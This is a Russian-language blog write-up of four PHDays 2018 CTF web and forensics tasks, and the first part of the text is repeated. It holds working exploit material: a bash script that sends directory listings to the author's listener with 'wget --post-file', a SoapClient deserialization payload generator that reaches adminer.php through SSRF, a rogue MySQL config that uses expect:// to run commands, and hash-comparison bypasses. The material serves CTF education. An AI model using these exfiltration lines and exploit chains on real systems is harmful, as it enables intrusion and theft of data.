Всем привет. Прошел ежегодный PHD CTF и как всегда задачи были очень крутые и интересные! В этом году решил 4 таска. Может показаться что статья очень длинная — но там просто много скриншотов.
Интересный PHP sandbox, конечное решение которого по моему было проще подобрать на шару, т.к. оно очень простое. Но чтобы к нему прийти, нужно было разобраться что происходит. Я к решению пришел сделав нехилый крюк. Еще я не сразу догадался загуглить mongo rock, хотя перестановка букв была очевидна =)
Изначально нам дан URL, по которому возвращается небольшой хинт, что делать дальше.
Собираем POST запрос
Видим результат выполнения команды inform(). Первое что приходит в голову, это инъекция в команду, пробуем вставлять кавычки, бекслеши, параметры в ф-ю inform, изучаем поведение:
Видим некую ошибку… А вот если дописать еще букву,
то в конце вываливается закрытие php тега, тоесть инъекцией мы где-то закрываем строку.
Загуглив то что капсом (T_ENCAPSED_AND_WHITESPACE) — понимаем что это лексические токены PHP. Это говорит о том, что перед нами PHP sandbox, где перед выполнением кода происходит токенезация инпута. При этом часть токенов запрещена к использованию. А т.к. это sandbox, инъекция скорей всего неверный вектор.
Теперь попробуем написать валидные запросы, которые будут пропускаться. Например так:
видим что в этом случае вывод произошел дважды, также видим что токен T_CONSTANT_ENCAPSED_STRING (строка в кавычках) разрешен, это оказалось критически важно.
Вообще тут можно было бы уже и решить все, если бы я знал что пхп позволяет вытворять ТАКИЕ вещи =) Но я не знал. Поэтому дальше я взял полный список PHP токенов (тут) и погонял их в Intruder, чтобы понять, какие разрешены. Затем я решил загуглить «mongo rock» и нашел код песочницы, который использовался для таска. Само собой для таска его немного изменили, но логику прочесть не помешает (Заодно сравнить реальный код с тем псевдокодом в голове, который я составил, изучая поведение программы блекбоксом)
github.com/iwind/rockmongo/blob/939017a6b4d0b6eb488288d362ed07744e3163d3/app/classes/VarEval.php
Смотрим функцию, которая производит токенезацию перед eval’ом кода
переменная $php это concat строк, отсюда взялся перенос строки и закрывающий тег в примере выше, когда мы вставили inform()''A. Далее идут 2 проверки, первая проверяет что токен входит список разрешенных:
а вторая — что токены T_STRING имеют допустимые значения:
T_STRING токены — это ключевые слова языка, в этом списке вероятно была только функция inform(). И дальше если условия прошли, происходит eval() кода. Тоесть вызвать какую либо функцию, передав ее как T_STRING токен не выйдет.
Итого мы знаем что разрешено делать вызов функций(но только одной, inform), и строки в кавычках тоже пропускаются. Тут я вспомнил трюки из JS и попробовал сдалать так:
Вот и решение. Осталось только найти флаг, который лежал в файле с рандомным именем в root(/). Как я написал в начале, решение очень простое, но не зная тонкостей PHP пришлось повозиться. Правда не так как дальше…
Изначально как обычно дан URL, открываем, видим картинку какого-то города, никаких кнопок нет, поэтому сразу смотрим html код страницы.
Обращаем внимание на какой-то странный массив… Попробуем открыть несуществующую страницу
И тут видно название очень интересного сервера. До этой задачи я даже не знал о существовании такого. Обо всех его фичах я не читал, самое интересное, что надо для таска — resin может интегрировать PHP и Java код (до чего может довести легаси)
Вообщем ничего больше на главной странице не видно, поэтому запускаем dirsearch, либо кто что любит и смотрим что еще валяется на сервере.
Находим и пробуем открыть директорию /dev/, и видим Basic HTTP аутентификацию.
Это первая часть таска — обойти Basic HTTP Auth. Идея обхода — нужно сделать так, чтобы на nginx директория не попала в регулярку /dev/, которая находиться под basic auth, но при этом чтобы бекенд распарсил URL path как /dev/. Я зарядил полный список урл енкодов в Intruder, хотя можно было и сразу догадаться:
Перебрав все 256 байт на месте §param§, находим что при %5с(бекслеш) ответ отличается от исходного, тоесть мы проваливаемся в /dev/. Вот так выглядел исходный код страницы в /dev/:
Вспоминаем такой же массив на первой странице. Это похоже на список файлов текущей директории.
Смотрим код task.php:
Первое условие — передать такую куку developer_testing_mode, чтобы md5 от нее был равен '0e313373133731337313373133731337'.
Эту штуку я знал, поэтому прошел быстро. Это стандартная PHP ошибка со слабым сравнением. Рекомендую посмотреть тут.
В краце, в PHP сравнение с 2мя знаками равенства(==) считает истинным “0e12345”=“0e54321”. То есть все что нужно для обхода, это найти значение, md5 от которого будет начинаться с байта \x0e. Это можно легко нагуглить.
Второе условие в коде — если будет некий параметр constr длины 4 байта, то выполниться следующее:
это просто создание объекта класса, если написать попроще то будет примерно так:
$c = new Class(parameter), где мы контролируем название класса и его параметр.
вторая строка
если переписать попроще, то:
$c->method1()->method2(parameter2) — здесь мы контроллируем названия методов и параметр 2го метода.
Очевидно что это RCE и осталось только найти подходящие названия классов. Вспоминаем что Resin — интегрирует PHP и Java код(Я вспомнил не сразу, и по началу начал копать в сторону Phar).
Решение этого таска фактически лежит в документации Resin:
Payload для RCE выглядит вот так:
Вывода от команды не будет, поэтому делаем вывод через out-of-band технику. Поднимаем в интернете listener для наших запросов, и запускаем на сервере команду, которая отправит нужную информацию на наш listener, с пейлоадом выше будет примерно так:
Т.к. название файла с флагом мы не знаем, нужно сделать листинг директорий. Метод класса Runtime — exec() может принимать на вход строку и массив. Как полноценный bash работает только в случае массива. Тогда как мы можем передать только строку. Поэтому делаем простой баш скрипт:
первым запросом загружаем его на сервер с помощью wget -O /tmp/pwn ...., вторым запросом — запускаем. Принимаем у себя на listener список директорий в руте, и дальше считываем флаг.
Самый интересный из четырех. Таск называет так, потомучто в нем очень длинная цепочка багов. Я решал его наверное дня 2 и сдал практически в последний момент на пути домой решая из электрички =)
Полезная статья, которая помогает решить этот таск (про сериализацию и магические методы).
В условии дан URL, открываем, видим некий логгер HTTP запросов:
Немного поиграв с параметрами и ничего из этого не получив, запускаем dirsearch:
adminer.php — это опенсорсный инструмент для админки БД. Гугл сходу выдает SSRF уязвимость и даже сплойт, хотя последний нам не очень нужен.
Открыв страницу c adminer видим сообщение:
где нам говорят, что доступ разрешен только с внутренних ресурсов. Обращаем внимание на шлюз локальной сети, он является небольшим хинтом, какой адрес может быть у хоста с установленным Adminer.
index.php.bak — нам дан исходник для решения.
index.php.bak исходник:
Изучаем код. Скрипт создает класс Logger, и затем отдает результаты методов show и clear в зависимости от запроса. Сразу бросаются в глаза места с сериализацией и подписями. Все самое интересное находиться в конструкторе и деструкторе.
В __construct() проиcходит генерация некоторых данных пользователя, и подпись с помощью алгоритма HMAC. Секретный ключ при этом храниться в переменной окружения. После подписи, данные и сама подпись отдаются пользователю. Это эмуляция подхода хранения данных сессии на стороне пользователя. Например так делает Apache Tapestry и кажется я встречал такой подход еще где-то в ASP фреймворках. При использовании HMAC, изменить данные и при этом обойти подпись уже не получиться. Все выглядит безопасно, поэтому переходим к __destructor()
Т.к. я не сразу увидел баг в проверке подписи в __destruct(), начал решать таск с «середины», запустив скрипт локально и закоментив часть кода с проверкой подписи. И к обходу подписи вернулся в конце. Но тут все будет по порядку=)
Первое на что нужно обратить внимание — мы контролируем переменную nonce, которая без какой либо фильтрации отдается в функцию hash_mac(PHP built-in функция). После чего uniq_sig передается в метод ahalai, который внутри эквивалентен тому же hash_hmac. Из-за отсутсвия фильтрации переменной nonce возникает ошибка, когда наш сериализованный payload может быть подписан не секретным ключом сервера, а пустой строкой. Чтобы понять что происходит я набросал короткий PoC:
HMAC во всех 3х вариантах будет одинаковый. То есть в случае подписи любого массива любым ключом результат будет пустая строка. А т.к. конечная подпись считается принимая на вход предыдущую подпись, мы получаем hash_hmac(«ANYDATA»,""). А значит мы можем его вычислить перед отправкой запроса.
Итого: чтобы обойти подпись, нужно передать nonce как массив, а передаваемые данные в userdata предварительно подписать пустой строкой, и подпись передать в куке hmac.
Следующий шаг — нужно понять, как раскрутить десериализацию, чтобы получить что-то полезное. Мы знаем, что adminer имеет SSRF уязвимость, а значит в сочетании с rogue_mysql_server можем получить локальное чтение файлов. Но Adminer доступен только внутренним ресурсам. Значит итоговый вектор должен выглядеть примерно так: SSRF в index.php -> SSRF в adminer.php -> rogue_mysql_server->локальное чтение файлов (плюс были хинты от организаторов про expect и что на сервере есть только nginx+php. Последний — чтобы понять, что нужно эксплуатировать через rogue_mysq_server, expect — видимо очень редкий wrapper что его наличие не всегда проверяют. А название файла с флагом без RCE не найти).
Раскручиваем SSRF на index.php. Обращаем внимание на следующий участок кода:
Тут есть сразу несколько трюков. Трюк первый — в случае если десериализуется объект, будет вызван __destruct() этого объекта (читать статью на Rdot.org). Трюк второй — мы делаем десериализацию уже находясь в деструкторе. Что же будет, если мы попробуем десериализовать объект этого же класса Logger? Тоесть при десериилизации снова вызовется деструктор этого же класса! Вообще я думал что произойдет бесконечный цикл и будет DOS. Но оказалось PHP эту ситуацию обрабатывает корректно. И трюк третий, если мы в процессе десериализации подсунем в приватную переменную serverdata объект, то дальше по коду вызовется метод serverdata->get_CT(). Тут приходит на помощь магический метод __call(), который вызовется в случае обращения к несуществующему методу класса.
По ключевым словам «php class __call ssrf» быстро гуглиться райтап с другого CTF, где можно найти подходящий PHP класс SoapClient и что __call() триггерит soap запрос. SoapClient создаем так, чтобы он сделал запрос на adminer.php с нужными параметрами. Я зачем-то установил adminer себе, и начал изучать, что там есть. Можно было этого и не делать. Финальный код для генерации пейлоадов у меня вышел вот такой:
В краце — мы создаем такой же класс Logger с такими же данными как у исходного в index.php. Но в конструкторе мы присваиваем внутренней приватной переменной serverdata — объект класса SoapClient. Объект SoapClient уже указывает на внутренний ресурс adminer с параметрами для коннекта к нашему серверу с rogue_mysql_server. Цикл по переменной $iter нужен для того, чтобы найти локальный IP сервера adminer. Запрос через localhost блокировался. Вообще у него был IP=172.17.0.3, но я попробовал один и дальше запустил Intruder=) Режим Pitchfork, первый параметр — файл с сигнатурами, 2й — с пейлоадами.
Для приема коннекта у себя на сервере где-то в интернетах запускаем mysq_rogue_server, я взял отсюда. Запускаем с такой конфигурацией:
Мы не можем отдать rogue серверу вывод от expect, поэтому перенаправляем вывод в файл, и второй командой считываем этот файл.
Запускаем Intruder, смотрим какой IP сработает:
В логе rogue сервера находим вот такое:
Осталось послать еще один запрос, но в Rogue сервере вписать путь к флагу. Итоговый запрос из Repeater:
Это наверное самая простая задача из всех, что были предложены на CTF. Самое сложное было понять, что это за файл. Сложное — потому что почти все ссылки в гугл указывали на компьютерную игру event[0]. Я заодно почитал что за игра и даже решил пройти. Вообщем из всего этого шума про event[0] нужно было найти информацию о линукс устройствах. В частности про linux USB клавиатуру. То есть event0 файл — результат работы кейлоггера. А дальше все очень просто гуглилось и можно было найти почти готовое решение для таска тут. И заодно открыть документацию по Python библиотеке evdev. Я взял скрипт по ссылке выше и заменил чтение с девайса на чтение из файла. Мой финальный скрипт выглядел вот так:
Первые строчки вывода скрипта:
down-up это нажатия клавиш «вниз-вверх». Сразу видим, что запускается команда vim key.txt. Vim — это популярный текстовый редактор, который имеет два режима работы, редактирование текста и командный режим. Поэтому не все буквы в логе были реальным текстом. Для решения нужно было просто прокликать все те же самые клавиши и получить на выходе флаг.
mnogorock
Интересный PHP sandbox, конечное решение которого по моему было проще подобрать на шару, т.к. оно очень простое. Но чтобы к нему прийти, нужно было разобраться что происходит. Я к решению пришел сделав нехилый крюк. Еще я не сразу догадался загуглить mongo rock, хотя перестановка букв была очевидна =)
Изначально нам дан URL, по которому возвращается небольшой хинт, что делать дальше.
Собираем POST запрос
Видим результат выполнения команды inform(). Первое что приходит в голову, это инъекция в команду, пробуем вставлять кавычки, бекслеши, параметры в ф-ю inform, изучаем поведение:
Видим некую ошибку… А вот если дописать еще букву,
то в конце вываливается закрытие php тега, тоесть инъекцией мы где-то закрываем строку.
Загуглив то что капсом (T_ENCAPSED_AND_WHITESPACE) — понимаем что это лексические токены PHP. Это говорит о том, что перед нами PHP sandbox, где перед выполнением кода происходит токенезация инпута. При этом часть токенов запрещена к использованию. А т.к. это sandbox, инъекция скорей всего неверный вектор.
Теперь попробуем написать валидные запросы, которые будут пропускаться. Например так:
видим что в этом случае вывод произошел дважды, также видим что токен T_CONSTANT_ENCAPSED_STRING (строка в кавычках) разрешен, это оказалось критически важно.
Вообще тут можно было бы уже и решить все, если бы я знал что пхп позволяет вытворять ТАКИЕ вещи =) Но я не знал. Поэтому дальше я взял полный список PHP токенов (тут) и погонял их в Intruder, чтобы понять, какие разрешены. Затем я решил загуглить «mongo rock» и нашел код песочницы, который использовался для таска. Само собой для таска его немного изменили, но логику прочесть не помешает (Заодно сравнить реальный код с тем псевдокодом в голове, который я составил, изучая поведение программы блекбоксом)
github.com/iwind/rockmongo/blob/939017a6b4d0b6eb488288d362ed07744e3163d3/app/classes/VarEval.php
Смотрим функцию, которая производит токенезацию перед eval’ом кода
private function _runPHP() {
$this->_source = "return " . $this->_source . ";";
if (function_exists("token_get_all")) {//tokenizer extension may be disabled
$php = "<?php\n" . $this->_source . "\n?>";
$tokens = token_get_all($php);
переменная $php это concat строк, отсюда взялся перенос строки и закрывающий тег в примере выше, когда мы вставили inform()''A. Далее идут 2 проверки, первая проверяет что токен входит список разрешенных:
if (in_array($type, array(
T_OPEN_TAG,
T_RETURN,
T_WHITESPACE,
а вторая — что токены T_STRING имеют допустимые значения:
if ($type == T_STRING) {
$func = strtolower($token[1]);
if (in_array($func, array(
//keywords allowed
"mongoid”,
….
T_STRING токены — это ключевые слова языка, в этом списке вероятно была только функция inform(). И дальше если условия прошли, происходит eval() кода. Тоесть вызвать какую либо функцию, передав ее как T_STRING токен не выйдет.
Итого мы знаем что разрешено делать вызов функций(но только одной, inform), и строки в кавычках тоже пропускаются. Тут я вспомнил трюки из JS и попробовал сдалать так:
Вот и решение. Осталось только найти флаг, который лежал в файле с рандомным именем в root(/). Как я написал в начале, решение очень простое, но не зная тонкостей PHP пришлось повозиться. Правда не так как дальше…
sincity
Изначально как обычно дан URL, открываем, видим картинку какого-то города, никаких кнопок нет, поэтому сразу смотрим html код страницы.
Обращаем внимание на какой-то странный массив… Попробуем открыть несуществующую страницу
И тут видно название очень интересного сервера. До этой задачи я даже не знал о существовании такого. Обо всех его фичах я не читал, самое интересное, что надо для таска — resin может интегрировать PHP и Java код (до чего может довести легаси)
Вообщем ничего больше на главной странице не видно, поэтому запускаем dirsearch, либо кто что любит и смотрим что еще валяется на сервере.
Находим и пробуем открыть директорию /dev/, и видим Basic HTTP аутентификацию.
Это первая часть таска — обойти Basic HTTP Auth. Идея обхода — нужно сделать так, чтобы на nginx директория не попала в регулярку /dev/, которая находиться под basic auth, но при этом чтобы бекенд распарсил URL path как /dev/. Я зарядил полный список урл енкодов в Intruder, хотя можно было и сразу догадаться:
Перебрав все 256 байт на месте §param§, находим что при %5с(бекслеш) ответ отличается от исходного, тоесть мы проваливаемся в /dev/. Вот так выглядел исходный код страницы в /dev/:
Вспоминаем такой же массив на первой странице. Это похоже на список файлов текущей директории.
- task.php~~~edited — это исходник task.php, который типа забыли закрыть в редакторе, и он отдается в браузер плейн текстом.
- task.php — сценарий который можно выполнять на веб сервере.
Смотрим код task.php:
<?php
error_reporting(0);
if(md5($_COOKIE['developer_testing_mode'])=='0e313373133731337313373133731337')
{
if(strlen($_GET['constr'])===4){
$c = new $_GET['constr']($_GET['arg']);
$c->$_GET['param'][0]()->$_GET['param'][1]($_GET['test']);
}else{
die('Swimming in the pool after using a bottle of vodka');
}
}
?>
Первое условие — передать такую куку developer_testing_mode, чтобы md5 от нее был равен '0e313373133731337313373133731337'.
Эту штуку я знал, поэтому прошел быстро. Это стандартная PHP ошибка со слабым сравнением. Рекомендую посмотреть тут.
В краце, в PHP сравнение с 2мя знаками равенства(==) считает истинным “0e12345”=“0e54321”. То есть все что нужно для обхода, это найти значение, md5 от которого будет начинаться с байта \x0e. Это можно легко нагуглить.
Второе условие в коде — если будет некий параметр constr длины 4 байта, то выполниться следующее:
$c = new $_GET['constr']($_GET['arg']);
это просто создание объекта класса, если написать попроще то будет примерно так:
$c = new Class(parameter), где мы контролируем название класса и его параметр.
вторая строка
$c->$_GET['param'][0]()->$_GET['param'][1]($_GET['test']);
если переписать попроще, то:
$c->method1()->method2(parameter2) — здесь мы контроллируем названия методов и параметр 2го метода.
Очевидно что это RCE и осталось только найти подходящие названия классов. Вспоминаем что Resin — интегрирует PHP и Java код(Я вспомнил не сразу, и по началу начал копать в сторону Phar).
Решение этого таска фактически лежит в документации Resin:
Payload для RCE выглядит вот так:
Вывода от команды не будет, поэтому делаем вывод через out-of-band технику. Поднимаем в интернете listener для наших запросов, и запускаем на сервере команду, которая отправит нужную информацию на наш listener, с пейлоадом выше будет примерно так:
Т.к. название файла с флагом мы не знаем, нужно сделать листинг директорий. Метод класса Runtime — exec() может принимать на вход строку и массив. Как полноценный bash работает только в случае массива. Тогда как мы можем передать только строку. Поэтому делаем простой баш скрипт:
#!/bin/bash
ls -l > /tmp/adweifmwgfmlkerhbetlbm
ls -l / >> /tmp/adweifmwgfmlkerhbetlbm
wget --post-file=/tmp/adweifmwgfmlkerhbetlbm http://w4x.su:14501/
первым запросом загружаем его на сервер с помощью wget -O /tmp/pwn ...., вторым запросом — запускаем. Принимаем у себя на listener список директорий в руте, и дальше считываем флаг.
wowsuchchain
Самый интересный из четырех. Таск называет так, потомучто в нем очень длинная цепочка багов. Я решал его наверное дня 2 и сдал практически в последний момент на пути домой решая из электрички =)
Полезная статья, которая помогает решить этот таск (про сериализацию и магические методы).
В условии дан URL, открываем, видим некий логгер HTTP запросов:
Немного поиграв с параметрами и ничего из этого не получив, запускаем dirsearch:
adminer.php — это опенсорсный инструмент для админки БД. Гугл сходу выдает SSRF уязвимость и даже сплойт, хотя последний нам не очень нужен.
Открыв страницу c adminer видим сообщение:
где нам говорят, что доступ разрешен только с внутренних ресурсов. Обращаем внимание на шлюз локальной сети, он является небольшим хинтом, какой адрес может быть у хоста с установленным Adminer.
index.php.bak — нам дан исходник для решения.
index.php.bak исходник:
Скрытый текст
<?php
session_start();
class MetaInfo {
function get_SC(){
return $_SERVER['SCRIPT_NAME'];
}
function get_CT(){
date_default_timezone_set('UTC');
return date('Y-m-d H:i:s');
}
function get_UA(){
return $_SERVER['HTTP_USER_AGENT'];
}
function get_IP(){
$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = $_SERVER['REMOTE_ADDR'];
if(filter_var($client, FILTER_VALIDATE_IP)){
$ip = $client;
}elseif(filter_var($forward, FILTER_VALIDATE_IP)){
$ip = $forward;
}else{
$ip = $remote;
}
return $ip;
}
}
class Logger {
private $userdata;
private $serverdata;
public $ip;
function __construct(){
if (!isset($_COOKIE['userdata'])){
$this->userdata = new MetaInfo();
$ip = $this->userdata->get_IP();
$useragent = htmlspecialchars($this->userdata->get_UA());
$serialized = serialize(array($ip,$useragent));
$key = getenv('KEY');
$nonce = md5(time());
$uniq_sig = hash_hmac('md5', $nonce, $key);
$crypto_arrow = $this->ahalai($serialized,$uniq_sig);
setcookie("nonce",$nonce);
setcookie("hmac",$crypto_arrow);
setcookie("userdata",base64_encode($serialized));
header("Location: /");
}
if (!file_exists('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt')) {
fopen('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt','w');
}
}
function clear(){
if(file_put_contents('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt',"\n"))
return "Log file cleaned!";
}
function show(){
$data = file_get_contents('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt');
return $data;
}
function ahalai($serialized,$uniq_sig){
$magic = $this->mahalai($serialized,$uniq_sig);
return $magic;
}
function mahalai($serialized, $uniq_sig){
return hash_hmac('md5', $serialized,$uniq_sig);
}
function __destruct(){
if(isset($_COOKIE['userdata'])){
$serialized = base64_decode($_COOKIE['userdata']);
$key = getenv('KEY');
$nonce = $_COOKIE['nonce'];
$uniq_sig = hash_hmac('md5', $nonce, $key);
$crypto_arrow = $this->ahalai($serialized,$uniq_sig);
if($crypto_arrow!==$_COOKIE["hmac"]){
exit;
}
$this->userdata = unserialize($serialized);
$ip = $this->userdata[0];
$useragent = $this->userdata[1];
if(!isset($this->serverdata))
$this->serverdata = new MetaInfo();
$current_time = $this->serverdata->get_CT();
$script = $this->serverdata->get_SC();
return file_put_contents('/tmp/log-'.preg_replace('/[^a-zA-Z0-9]/', '',session_id()).'.txt', $current_time." - ".$ip." - ".$script." - ".htmlspecialchars($useragent)."\n", FILE_APPEND);
}
}
}
$a = new Logger();
?>
<center>
<pre>
<a href="/">index</a> | <a href="/?act=show">show log</a> | <a href="/?act=clear">clear log</a>
-----------------------------------------------------------------------------
<?
switch ($_GET['act']) {
case 'clear':
echo $a->clear();
break;
case 'show':
echo $a->show();
break;
default:
echo "This is index page.";
break;
}
?>
</pre></center>
Изучаем код. Скрипт создает класс Logger, и затем отдает результаты методов show и clear в зависимости от запроса. Сразу бросаются в глаза места с сериализацией и подписями. Все самое интересное находиться в конструкторе и деструкторе.
В __construct() проиcходит генерация некоторых данных пользователя, и подпись с помощью алгоритма HMAC. Секретный ключ при этом храниться в переменной окружения. После подписи, данные и сама подпись отдаются пользователю. Это эмуляция подхода хранения данных сессии на стороне пользователя. Например так делает Apache Tapestry и кажется я встречал такой подход еще где-то в ASP фреймворках. При использовании HMAC, изменить данные и при этом обойти подпись уже не получиться. Все выглядит безопасно, поэтому переходим к __destructor()
Т.к. я не сразу увидел баг в проверке подписи в __destruct(), начал решать таск с «середины», запустив скрипт локально и закоментив часть кода с проверкой подписи. И к обходу подписи вернулся в конце. Но тут все будет по порядку=)
$serialized = base64_decode($_COOKIE['userdata']);
$key = getenv('KEY');
$nonce = $_COOKIE['nonce'];
$uniq_sig = hash_hmac('md5', $nonce, $key);
$crypto_arrow = $this->ahalai($serialized,$uniq_sig);
Первое на что нужно обратить внимание — мы контролируем переменную nonce, которая без какой либо фильтрации отдается в функцию hash_mac(PHP built-in функция). После чего uniq_sig передается в метод ahalai, который внутри эквивалентен тому же hash_hmac. Из-за отсутсвия фильтрации переменной nonce возникает ошибка, когда наш сериализованный payload может быть подписан не секретным ключом сервера, а пустой строкой. Чтобы понять что происходит я набросал короткий PoC:
<?php
$nonce = array('1','2','3','100500');
$uniq_sig1 = hash_hmac('md5', $nonce, "SUPASECRET");
$crypto_arrow1 = hash_hmac('md5',"ANYDATA",$uniq_sig1);
echo "Singature with supasecret: $crypto_arrow1\n";
$uniq_sig2 = hash_hmac('md5', $nonce, "ANOTHER_SUPA_SECRET");
$crypto_arrow2 = hash_hmac('md5',"ANYDATA",$uniq_sig2);
echo "Singature with anothersupasecret: $crypto_arrow2\n";
$crypto_arrow3 = hash_hmac('md5',"ANYDATA","");
echo "Signature with empty string as KEY: $crypto_arrow3\n";
?>
HMAC во всех 3х вариантах будет одинаковый. То есть в случае подписи любого массива любым ключом результат будет пустая строка. А т.к. конечная подпись считается принимая на вход предыдущую подпись, мы получаем hash_hmac(«ANYDATA»,""). А значит мы можем его вычислить перед отправкой запроса.
Итого: чтобы обойти подпись, нужно передать nonce как массив, а передаваемые данные в userdata предварительно подписать пустой строкой, и подпись передать в куке hmac.
Следующий шаг — нужно понять, как раскрутить десериализацию, чтобы получить что-то полезное. Мы знаем, что adminer имеет SSRF уязвимость, а значит в сочетании с rogue_mysql_server можем получить локальное чтение файлов. Но Adminer доступен только внутренним ресурсам. Значит итоговый вектор должен выглядеть примерно так: SSRF в index.php -> SSRF в adminer.php -> rogue_mysql_server->локальное чтение файлов (плюс были хинты от организаторов про expect и что на сервере есть только nginx+php. Последний — чтобы понять, что нужно эксплуатировать через rogue_mysq_server, expect — видимо очень редкий wrapper что его наличие не всегда проверяют. А название файла с флагом без RCE не найти).
Раскручиваем SSRF на index.php. Обращаем внимание на следующий участок кода:
$this->userdata = unserialize($serialized);
$ip = $this->userdata[0];
$useragent = $this->userdata[1];
if(!isset($this->serverdata))
$this->serverdata = new MetaInfo();
$current_time = $this->serverdata->get_CT();
$script = $this->serverdata->get_SC();
Тут есть сразу несколько трюков. Трюк первый — в случае если десериализуется объект, будет вызван __destruct() этого объекта (читать статью на Rdot.org). Трюк второй — мы делаем десериализацию уже находясь в деструкторе. Что же будет, если мы попробуем десериализовать объект этого же класса Logger? Тоесть при десериилизации снова вызовется деструктор этого же класса! Вообще я думал что произойдет бесконечный цикл и будет DOS. Но оказалось PHP эту ситуацию обрабатывает корректно. И трюк третий, если мы в процессе десериализации подсунем в приватную переменную serverdata объект, то дальше по коду вызовется метод serverdata->get_CT(). Тут приходит на помощь магический метод __call(), который вызовется в случае обращения к несуществующему методу класса.
По ключевым словам «php class __call ssrf» быстро гуглиться райтап с другого CTF, где можно найти подходящий PHP класс SoapClient и что __call() триггерит soap запрос. SoapClient создаем так, чтобы он сделал запрос на adminer.php с нужными параметрами. Я зачем-то установил adminer себе, и начал изучать, что там есть. Можно было этого и не делать. Финальный код для генерации пейлоадов у меня вышел вот такой:
<?php
class Logger {
private $userdata;
private $serverdata;
public $ip;
function __construct($iter) {
$this->serverdata = new SoapClient(null, array(
'location' => "http://172.17.0.$iter/adminer.php?server=188.226.212.13:3306&username=mfocuz1&password=1337pass&status=",
'uri' => "http://172.17.0.$iter",
'trace' => 1,
));
}
}
for($i=0;$i<=255;$i++) {
$payload=serialize(array("127.0.0.1",new Logger($i)));
file_put_contents("/tmp/payloads",base64_encode($payload)."\n",FILE_APPEND);
file_put_contents("/tmp/signatures",hash_hmac('md5', $payload,"")."\n",FILE_APPEND);
}
?>
В краце — мы создаем такой же класс Logger с такими же данными как у исходного в index.php. Но в конструкторе мы присваиваем внутренней приватной переменной serverdata — объект класса SoapClient. Объект SoapClient уже указывает на внутренний ресурс adminer с параметрами для коннекта к нашему серверу с rogue_mysql_server. Цикл по переменной $iter нужен для того, чтобы найти локальный IP сервера adminer. Запрос через localhost блокировался. Вообще у него был IP=172.17.0.3, но я попробовал один и дальше запустил Intruder=) Режим Pitchfork, первый параметр — файл с сигнатурами, 2й — с пейлоадами.
Для приема коннекта у себя на сервере где-то в интернетах запускаем mysq_rogue_server, я взял отсюда. Запускаем с такой конфигурацией:
filelist = (
#'/flag_s0m3_r4nd0m_f1l3n4m3.txt', // это путь к флагу, первый раз мы его не знаем
'expect://ls > /tmp/mfocuz_tmp01',
'/tmp/mfocuz_tmp01',
)
Мы не можем отдать rogue серверу вывод от expect, поэтому перенаправляем вывод в файл, и второй командой считываем этот файл.
Запускаем Intruder, смотрим какой IP сработает:
В логе rogue сервера находим вот такое:
2018-05-01 14:01:28,499:INFO:Result: '\x02bin\nboot\ncode\ndev\netc\nflag_s0m3_r4nd0m_f1l3n4m3.txt\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n'
Осталось послать еще один запрос, но в Rogue сервере вписать путь к флагу. Итоговый запрос из Repeater:
event0
Это наверное самая простая задача из всех, что были предложены на CTF. Самое сложное было понять, что это за файл. Сложное — потому что почти все ссылки в гугл указывали на компьютерную игру event[0]. Я заодно почитал что за игра и даже решил пройти. Вообщем из всего этого шума про event[0] нужно было найти информацию о линукс устройствах. В частности про linux USB клавиатуру. То есть event0 файл — результат работы кейлоггера. А дальше все очень просто гуглилось и можно было найти почти готовое решение для таска тут. И заодно открыть документацию по Python библиотеке evdev. Я взял скрипт по ссылке выше и заменил чтение с девайса на чтение из файла. Мой финальный скрипт выглядел вот так:
Скрытый текст
#!/usr/bin/python
import pdb
import struct
import sys
import evdev
from evdev import InputDevice, list_devices, ecodes, categorize, InputEvent
CODE_MAP_CHAR = {
'KEY_MINUS': "-",
'KEY_SPACE': " ",
'KEY_U': "U",
'KEY_W': "W",
'KEY_BACKSLASH': "\\",
'KEY_GRAVE': "`",
'KEY_NUMERIC_STAR': "*",
'KEY_NUMERIC_3': "3",
'KEY_NUMERIC_2': "2",
'KEY_NUMERIC_5': "5",
'KEY_NUMERIC_4': "4",
'KEY_NUMERIC_7': "7",
'KEY_NUMERIC_6': "6",
'KEY_NUMERIC_9': "9",
'KEY_NUMERIC_8': "8",
'KEY_NUMERIC_1': "1",
'KEY_NUMERIC_0': "0",
'KEY_E': "E",
'KEY_D': "D",
'KEY_G': "G",
'KEY_F': "F",
'KEY_A': "A",
'KEY_C': "C",
'KEY_B': "B",
'KEY_M': "M",
'KEY_L': "L",
'KEY_O': "O",
'KEY_N': "N",
'KEY_I': "I",
'KEY_H': "H",
'KEY_K': "K",
'KEY_J': "J",
'KEY_Q': "Q",
'KEY_P': "P",
'KEY_S': "S",
'KEY_X': "X",
'KEY_Z': "Z",
'KEY_KP4': "4",
'KEY_KP5': "5",
'KEY_KP6': "6",
'KEY_KP7': "7",
'KEY_KP0': "0",
'KEY_KP1': "1",
'KEY_KP2': "2",
'KEY_KP3': "3",
'KEY_KP8': "8",
'KEY_KP9': "9",
'KEY_5': "5",
'KEY_4': "4",
'KEY_7': "7",
'KEY_6': "6",
'KEY_1': "1",
'KEY_0': "0",
'KEY_3': "3",
'KEY_2': "2",
'KEY_9': "9",
'KEY_8': "8",
'KEY_LEFTBRACE': "[",
'KEY_RIGHTBRACE': "]",
'KEY_COMMA': ",",
'KEY_EQUAL': "=",
'KEY_SEMICOLON': ";",
'KEY_APOSTROPHE': "'",
'KEY_T': "T",
'KEY_V': "V",
'KEY_R': "R",
'KEY_Y': "Y",
'KEY_TAB': "\t",
'KEY_DOT': ".",
'KEY_SLASH': "/",
}
def parse_key_to_char(val):
return CODE_MAP_CHAR[val] if val in CODE_MAP_CHAR else ""
if __name__ == "__main__":
# pdb.set_trace()
f=open('/home/w4x/ctf/phd2018/event0',"rb")
events=[]
e=f.read(24)
events.append(e)
while e != "":
e=f.read(24)
events.append(e)
for e in events:
eBytes = a=struct.unpack("HHHHHHHHHHi",e)
event = InputEvent(eBytes[6],eBytes[7],eBytes[8],eBytes[9],eBytes[10])
if event.type == ecodes.EV_KEY:
print evdev.categorize(event)
Первые строчки вывода скрипта:
key event at 0.000000, 28 (KEY_ENTER), up
key event at 0.000000, 47 (KEY_V), down
